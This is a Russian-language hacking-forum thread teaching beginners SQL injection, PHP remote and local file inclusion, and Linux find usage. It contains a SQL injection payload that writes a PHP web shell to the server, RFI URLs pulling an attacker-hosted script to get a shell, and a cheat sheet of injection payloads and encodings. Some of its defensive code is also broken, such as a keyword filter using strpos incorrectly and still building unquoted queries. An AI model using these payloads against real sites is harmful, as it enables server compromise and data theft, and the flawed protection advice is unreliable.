Sql Inj

DoBeRmАn

Школьник
Репутация
10 / 243
Загружаем шелл

Все просто в прентабельное поле пишем код(переведя в хеш) +into+out_file('shell.php')
localhost/index.php?id=-1+union+select+1,2,3,'<? system('$GET['c']')?>',5,6+into+out_file('shell.php')

Вот еще полезные ссылки:

http://dapf.ru/index.php?showtopic=7382&hl=Урок+SQL
http://g-craft.ws/showthread.php?t=1113
http://g-craft.ws/showthread.php?t=641
http://g-craft.ws/showthread.php?t=1115
см. мое видео про LFI
http://forum.antichat.ru/search.php?searchid=9424515
http://www.youtube.com/watch?v=mBejXYsP_yo
http://www.bredoit.ru/VzlomvebserveraLFIr00ting.html
http://www.softtime.ru/bookphp/gl1_3.php
http://www.softtime.ru/info/bookphp.php
http://www.google.com.ua/search?client=ope...channel=suggest
http://rutracker.org/forum/viewtopic.php?t=3432762
 
продолжение следует )

Способы защиты от SQL-инъекций

Самый простой способ защиты от SQL-инъекции – «обрамлять» параметры SQL-запроса одиночными кавычками ('), поскольку через GET- и POST-запрос невозможно передать символ одиночной кавычки (он будет автоматически заменен сочетанием символов – \' – т.е. экранироваться).

SELECT * FROM `table_name` WHERE `param` = '$param_name' ORDER BY `sort` ASC;

SQL-запрос в случае инъекции будет выглядеть примерно так:

SELECT * FROM `table_name` WHERE `param` = '10 union select 1,2,3 /*' ORDER BY `sort` ASC;

Т.е. для обработчика запросов, при отбрасывании части запроса после /*, запрос будет выглядеть примерно так:

SELECT * FROM `table_name` WHERE `param` = '10 union select 1,2,3

Обработчик запросов, не найдя закрывающей кавычки посчитает этот запрос ошибочным и не выполнит его. Если попытаться GET-запросом передать фрагмент кода с кавычкой:

10' union select 1,2,3/*

, то, после отбрасывания комментария, SQL-запрос будет выглядеть так:

SELECT * FROM `table_name` WHERE `param` = '10\' union select 1,2,3

В этом случае обработчик также не выполнит этот запрос, потому что не найдет закрывающей кавычки, т.к. сочетание символов \' будет расценено не как закрывающая кавычка, а как внутренний символ ', который должен содержаться в поле `param`.

Однако такой способ не гарантирует стопроцентной защиты от SQL-инъекций. Приведем несколько дополнительных способов.

Всегда проверяйте числовые параметры функцией intval. При проверке такого параметра:

10' union select 1,2,3/*

, функция intval вернет значение 10, что исключает возможность SQL-инъекции. Однако не все параметры являются числовыми. Например:

http://somesite.dom/index.php?section=about

Здесь параметр section является строковым, и функция intval здесь не может быть применена. Что бы избежать вредоносного запроса, можно воспользоваться следующими функциями:

mysql_escape_string – экранирует все спецсимволы;

Так же можно проверять строковые параметры на наличие в них таких слов как "select", "union", "order", "char", "where", "from".

Пример функции на PHP 5:

function escape_inj ($text) {
$text = strtolower($text); // Приравниваем текст параметра к нижнему регистру
if (
!strpos($text, "select") && //
!strpos($text, "union") && //
!strpos($text, "select") && //
!strpos($text, "order") && // Ищем вхождение слов в параметре
!strpos($text, "where") && //
!strpos($text, "char") && //
!strpos($text, "from") //
) {
return true; // Вхождений нету - возвращаем true
} else {
return false; // Вхождения есть - возвращаем false
}
}
$section = $_GET[section]; // Читаем параметр
if (!escape_inj ($section)) { // Проверяем параметр
echo "Это SQL-инъекция.";
exit ();
} else {
$result = mysql_query ("SELECT * FROM `tbl_name` WHERE `section` = $section ");
... // Продолжаем работу
}

Никогда не храните пароли в базе данных в открытом виде, обязательно шифруйте их (например, функцией sha1). С помощью SQL-инъекции легко "достать" данные из базы данных, а если они будут зашифрованы, то есть большая вероятность того, что злоумышленник не сможет ими воспользоваться.

Для обеспечения конфиденциальности логина и пароля для доступа к базе данных, функции подключения к базе данных лучше хранить в отдельном файле и подключать его в каждой странице сайта.

Так же, отключение вывода на экран ошибок, возникших при неверном запросе, сильно усложняет задачу злоумышленнику. Что бы отключить вывод ошибок достаточно написать следующее (например, в файле подключения базы данных):

ini_set('display_errors', '0');

Старайтесь проверять результат каждого выполняемого запроса на выполнение и количество найденных записей. Если их количество равно нулю, перенаправляйте пользователя, например, на главную страницу, это обеспечит хорошую защиту от SQL-инъекций. Пример на PHP 5:

$section = $_GET[section]; // Читаем параметр
$result = mysql_query ("SELECT * FROM `tbl_name` WHERE `section` = $section "); // выполняем запрос
if (!$result || mysql_num_rows ($result) == 0) { // Кол-во найденных полей = 0, или запрос не был выполнен
header ("Location: http://$_SERVER[HTTP_HOST]/"); // Уходим на главную страницу
exit ();
} else {
... // Продолжаем работу
}
 
продолжение следует

--
Основы php-инъекций для новичков.
PHP-инъекция (англ. PHP injection) — один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне. Потенциально опасными функциями являются:
eval(),
preg_replace() (с модификатором «e»),
require_once(),
include_once(),
include(),
require(),
create_function().

PHP-инъекция становится возможной, если входные параметры принимаются и используются без проверки

Php-injection - это форма атаки на сайт, когда атакующий внедряет свой php-код в атакуемое php-приложение.
При успешной инъекции атакующий может выполнить произвольный (потенциально опасный) пхп-код на целевом сервере. На пример залить шелл. Но сначала подробно разжуем, как это происходит.

На пример:
Представим, что у нас имеется сайт, написанный на PHP.
Представим так же, что сайт использует комманду page=page.html для отображения запрашиваемой страницы.
Код будет выглядить так:
<?php
$file =$_GET['page']; //Отображаемая страница
include($file);
?>
Это значит, что все, выводимое на странице, будет внедрено в пхп-код этой страницы. Следовательно атакующий может проделать что-то наподобии:
[Ссылки могут видеть только зарегистрированные и активированные пользователи]атакуемый_сайт.com/index.php?page=[Ссылки могут видеть только зарегистрированные и активированные пользователи]атакующий_серв.com/вредоносный_скрипт.txt?
Если посмотреть, что происходит после выполнения инклуда, нам представится следующий код, выполненный на целевом сервере:
<?php
$file ="[Ссылки могут видеть только зарегистрированные и активированные пользователи]атакующий_серв.com/вредоносный_скрипт.txt?"; //$_GET['page'];
include($file); //$file - это внедренный злоумышленником скрипт
?>
Мы видим, что злоумышленник произвел успешную атаку на целевой сервер.

Подробнее:
И так, почему же злоумышленник смог провести PHP-инъекцию?
Все потому что функция include() позволяет запускать удаленные файлы.

Почему в примере был указан скрипт с расширением *.txt, а не *.php?
Ответ прост, если бы скрипт имел формат *.php, он бы запустился на сервере злоумышленника, а не на целевой системе.

Так же был добавлен символ "?" в пути к внедряемому скрипту, чтобы убрать что-либо, находящееся внутри функции include() на целевом сервере.
Пример:
<?php
$file =$_GET['page'];
include($file .".php");
?>
Этот скрипт добавляет расширение *.php к чему либо, вызываемомому коммандой include().
Т.е.
[Ссылки могут видеть только зарегистрированные и активированные пользователи]атакующий_серв.com/вредоносный_скрипт.txt
Превращается в
[Ссылки могут видеть только зарегистрированные и активированные пользователи]атакующий_серв.com/вредоносный_скрипт.txt.php
С таким именем скрипт не запустится (на сервере злоумышленника не существует фала /вредоносный_скрипт.txt.php)
По этому, мы и добавляем "?" в конец пути к вредоносному скрипту:
[Ссылки могут видеть только зарегистрированные и активированные пользователи]атакующий_серв.com/вредоносный_скрипт.txt?.php
Но он остается исполняемым.

Проведение PHP-инъекций через уязвимость функции include().

RFI - удаленный инклюд при PHP-инъекции.
Возможность проведения RFI - довольно частая бага в двигах.
Найти ее можно следущим образом:
Допустим мы случайно набрели на страницу, в адресной строке броузера заканчивающуюся подобным образом:
/index.php?page=main
Подставляем вместо main любое бредовое значение, например upyachka
/index.php?page=upyachka
В ответ получим ошибку:
Warning: main(upyachka.php): failed to open stream: No such file or directory in /home/user/[Ссылки могут видеть только зарегистрированные и активированные пользователи] on line 3

Warning: main(upyachka.php): failed to open stream: No such file or directory in /home/user/[Ссылки могут видеть только зарегистрированные и активированные пользователи] on line 3

Warning: main(): Failed opening 'upyachka.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear') in /home/user/[Ссылки могут видеть только зарегистрированные и активированные пользователи] on line 3
Это показывает нам на то, что инклуд осуществим.
Пробуем подставить вместо upyachka сайт с путем до шелла (расширения файла шелла не должно указываться, или указывать его, как было описано выше)
[Ссылки могут видеть только зарегистрированные и активированные пользователи]атакуемый_сервер.com/index.php?file=[Ссылки могут видеть только зарегистрированные и активированные пользователи]сайт_злоумышленника.com/shell
Таким образом получен шелл. Теперь нужно сообщить админу сайта об уязвимости, что бы он исправил, и злые дядьки не воспользовались багой.

LFI - локальный инклюд при PHP-инъекции.
Представим, что мы набрели на тот же уязвимый сайт
/index.php?file=main
С кодом
<?
..
Include ("folder/$page.htm");

?>
Это уже локальный инклюд. В этой ситуации возможен только листинг файлов:
/index.php?page=../index.php

В следующем случае код выглядит вот таким образом:
<?
..
Include ("$dir1/folder/page.php");

?>
В этом случае можно прописать путь к шеллу следующим образом:
Создаем папку folder на сайте, где хранится шелл, в эту папку закидываем шелл:
[Ссылки могут видеть только зарегистрированные и активированные пользователи]сайт_злоумышленника.com/folder/shell.php
Инъекция в таком случае будет выглядить так:
index.php?dir1=[Ссылки могут видеть только зарегистрированные и активированные пользователи]сайт_злоумышленника.com/

Способы защиты

Рассмотрим скрипт:
<?
...
$module = $_GET['module'];
include $module . '.php';
...
?>
Этот скрипт уязвим, так как к содержимому переменной $module просто прибавляется *.php и по полученному пути запускается файл.
Существует несколько способов защиты от такой атаки:
-Проверять, не содержит ли переменная $module посторонние символы:
<?
...
$module = $_GET['module'];
if (strpbrk($module, '.?/:')) die('Blocked');
include $module. '.php';
...
?>
-Проверять, что $module присвоено одно из допустимых значений:
...
$module = $_GET['module'];
$arr = array('main', 'about', 'links', 'forum');
if (!in_array($module,$arr)) $module = $arr[0];
include $module . '.php';
...
?>
Второй способ эффективнее и аккуратнее.

Так же существует проверка существования файла:
<?
..
if (file_exists("$page.php")) //Проверяется файл, если он существует, то происходит запуск.
{
Include ("$page.php");
}
Else //Есле…
{
Echo "Error!";
}

?>


От локального инклюда может помочь следующее:
<?
..
$page=str_replace("/","",$page); // Блокируется возможность перехода в другие дирректории.
if (file_exists("files/$page.htm "))
{
Include ("files/$page.htm");
}
Else
{
Echo "error";
}

?>

PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen на Off в файле конфигурации php.ini.

Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.

При написании были использованы материалы из
Википедии,
с забугорного форума security-sh3ll (spl0it),
с форума Античат (GreenBear).
Отдельное спасибо Burt и f02 за помощь,
поддержку и благую критику)

При разработке скриптов полезно пользоваться принципом "Запрещено все, что не разрешено" - инклуд посредством switch'я

<?php
switch ($id) {
case ’lol’:
include ’lol.php’;
break;

default:
include ’heckeng.php’;
}

?>

Тогда ссылки будут вида



))
 
полезности под линукс как найти шелку в скрипте и какие команды юзать

Великий, могучий shell scripting. Сила FIND.

Когда я впервые столкнулся с ОС Linux, я был немного обескуражен количеством утилит и команд в оболочке командного интерпретатора. С одной стороны это радовало своими возможностями и многообразием, а с другой – вводило мозговую активность в бурное замешательство.

У меня начали возникать различные задачи по работе с файлами, текстами и т.п. и я начал понемногу осваивать shell scripting.

Успех любого начинания – хорошая документация и таковая нашлась (спасибо Мендел Куперу): Advanced Bash-Scripting Guide.

Если Вы в совершенстве овладеете хотя-бы частью того, что описано в данной документации, можете считать себя гуру shell scripting.

Итак, в данном разделе, я буду описывать задачки, которые я успешно решал с помощью командного интерпретатора и утилит Linux.

Пожалуй, приступим.

Имеем задачу: необходимо изменить у множества файлов и директорий, расположенных в различных каталогах нашей файловой системы, желаемые атрибуты (права доступа или владельца), причем для файлов нужны одни атрибуты, для директорий другие.

Для тех, кто хоть как-то знаком с командной строкой в Linux, на ум приходят две популярные команды, с помощью которых можно решить данную задачку, это chmod и chown, которые можно запустить с опцией рекурсии, но как-же отделить файлы от директорий?

На помощь приходит одна из самых полезных утилит – FIND.
Задачка решается красиво и быстро:

find . -type d -exec chmod 750 {} ;
find . -type f -exec chown user:usergr {} ;

Расшифрую: Найти (find) начиная с текущей директории и ниже (.) все директории (-type d) и выполнить (-exec) команду (chmod 750) для этих ({}) найденных объектов (; – конец опции -exec)

Аналогично для файлов:

find . -type f -exec chmod 640 {} ;
find . -type f -exec chown user:usergr {} ;

или для определенных файлов, допустим с расширением .log в директории /var/log:

find /var/log -type f –name ‘*.log’ -exec chmod 640 {} ;

Find – это незаменимый инструмент в умелых руках, если Вы дружите с английским, почитайте man к find (man find) или русские переводы на данную тему, к примеру здесь, а я приведу еще примеры:

чистим архивы от файлов, которые были модифицированы в последний раз более 30 дней назад:

find /archive -mtime +30 -exec rm {} ;

и на закуску, более комплексный пример, который ищет самый «свежий» файл, т.е. файл с самым последним (самым новым) временем доступа к нему:

find . -type f -printf «%A@ %p
» | sort | tail -n 1 | sed -e «s/[0-9]* //»

Люблю команды в одну строку :)

Расшифрую: Найти (find) начиная с текущей директории и ниже (.) все файлы (-type f) и вывести их (-printf) в формате: «время последнего доступа к файлу, ввиде количества секунд с 1 Января 1970 года по часовому поясу 00:00 GMT (%A@), далее пробел ( ) полное имя файла(%p) и перевод строки(
)», затем отсортировать их ( | sort) и взять последний с конца отсортированного списка ( | tail -n 1), затем отредактировать полученную строку ( | sed) заменив в строке подстроку содержащую набор цифр и пробел ( -e «s/[0-9]* //») на пустоту.

продолжение следует-------

find – shell команда для поиска файлов и каталогов в иерархии каталогов. Рассмотрим некоторые способы использования этой команды и несколько ее опций поиска.

Самый простой пример нахождения файла по имени с помощью команды find:

find . -name test

после написания find пишем путь к папке, где надо искать, мы указали точку, то есть искать в текущем каталоге. Дальше ключ -name используется для поиска по имени, после его следует имя папки или файла, который мы ищем.В данном примере мы указали команде искать файл по названию test в текущем каталоге (. – точка это обозначение текущего каталога)

find . -iname test

- тот же поиск по имени, но без учета регистра в названии файлов.

Но, дело в том, что в примере выше мы не указали, что ищем именно файл, по тому, если в текущем каталоге или его подкаталоге существует папка из названием test, то она тоже попадет в результаты поиска. Для указания того, что мы ищем именно файл, и что названия папок в результаты поиска включать не надо, используем ключ «-type»

find . -type f -name test

«-type f» – мы указали, что ищем именно файл (f)
Для того, чтобы в результат включить одни папки с названием test, а файлы не искать, используем
«-type d»

find . -type d -name test

А что, если нам надо найти все файлы с расширением «.db», тогда используем звездочку «*».
* – заменяет любой набор символов. И того, для поиска всех файлов с расширением «.db» в каталоге /var/named используем следующую команду:

find /var/named -type f -name *.db

Тут мы заменили каталог для поиска на /var/named.

Если надо найти файлы или папки по дате их создания или последнего доступа к ним, используем ключ «-atime» – поиск по дате последнего доступа к файлу (или же его созданию, если никто к нему еще не доступался).

find . -type f -atime 1

Мы указали что ищем все фалы в текущем каталоге, которые были созданы или же к ним последний раз доступались за прошлые сутки, то есть больше чем 24 часа и меньше чем 48 часов назад. «-atime n» – считается n*24, то есть в нашем случае 1*24=24 часа назад, и команда ищет именно сколько 24-часовых периодов назад доступались к файлу.

А вот следующая команда найдет все файлы, к которым доступались больше чем 24 назад:

find . -type f -atime +1

Дальше можем найти все папки, к которым доступались больше чем 48 часов назад:

find . -type d -atime +2

Все файлы, к которым доступались за последние сутки:

find . -type f -atime -1

По этому же принципу можем использовать ключи
«-ctime n» – по дате создания или изменения статуса файла или папки
«-mtime n» – поиск файлов, которые были изменены(редактированы, или созданы) n*24 часов назад
«-amin n» – файлы или папки, к которым доступались n минут назад
«-cmin n» – файлы или папки, статус которых был изменен(или были они созданы) n минут назад
«-mmin» – файлы или папки, которые были изменены(или созданы) n минут назад

Можно производить поиск файлов и каталогов по их владельцу(юзеру), используя ключ «-user»:

find . -name *.jpg -user nobody

Мы указали что ищем в текущем каталоге все файлы с расширением .jpg, у которых стоит владелец nobody

Рассмотрим ситуацию, когда нам надо над результатом поиска выполнить какую-либо команду, например удалить все найденные файлы. В таком случае используем ключ «-exec». Он используется для указания другой команды, которую надо выполнить над каждым аргументом результат поиска:

find /tmp -type f -name sess* -exec rm -f {} \;

«/tmp» – указываем что ищем файлы в папке /tmp
«-type f» – ищем только файлы и каталоги в результат поиска не включать
«-name sess*» – все файлы, имя которых начинается из слова «sess»
«-exec rm -f {}» – запустить команду «rm -f»(удаление) для каждого файла
«{}» – заменяет список найденных аргументов
«\;» – конец команды (в данном случае использования «find» указывать обязательно)

Следующий пример показывает как поменять права на все файлы в папке:

find /home/nobody/public_html -type f -exec chmod 644 {} \;

и на все папки:

find /home/nobody/public_html -type d -exec chmod 755 {} \;

Но при замене прав на папки данной командой, на сам каталог public_html тоже права изменяются, так как в результаты будет включен текущий каталог, который обозначается точкой «.». Тогда возвращаем назад:

chmod 750 public_html

Пример того, как можно с помощью команды «find» найти все файлы .htaccess в аккаунте и закоментировать пхп переменные в нем:

find /home/nobody/public_html -type f -name .htaccess -exec replace "php_admin_flag" "#php_admin_flag" -- {} \;
find /home/nobody/public_html -type f -name .htaccess -exec replace "php_flag" "#php_flag" -- {} \;
find /home/nobody/public_html -type f -name .htaccess -exec replace "php_admin_value" "#php_admin_value" -- {} \;
find /home/nobody/public_html -type f -name .htaccess -exec replace "php_value" "#php_value" -- {} \;
 
КОМЕНТЫ:


-- ,
/*,
{rrr}

Аналоги ПРОБЕЛА:


+ или %2B
табуляция " " или %09
возврат коретки " " или %0D
три символа ""

КАВЫЧКИ:


" - %22
' - %27
' - %2527
` - %60


++++++++++++++++++++++++++++++++++++++++++++++

Простейшие sql-инъекции:


?id=-1' or 1=1--
?id=-1" or 1=1--
?id=-1 or 1=1--
?id=-1' or 'a'='a
?id=-1" or "a"="a
?id=-1') or ('a'='a

++++++++++++++++++++++++++++++++++++++++++++++

Определение типа переменных(строковая, числовая):


or "1"="1"


-----Это строка, если результат одинаков:


?id=51
?id='5'+'1'
?id=5'%2b'1
саш"+"а


-----Это число, если результат одинаков:


?id=263-1
?id=263%2d1
 
Сверху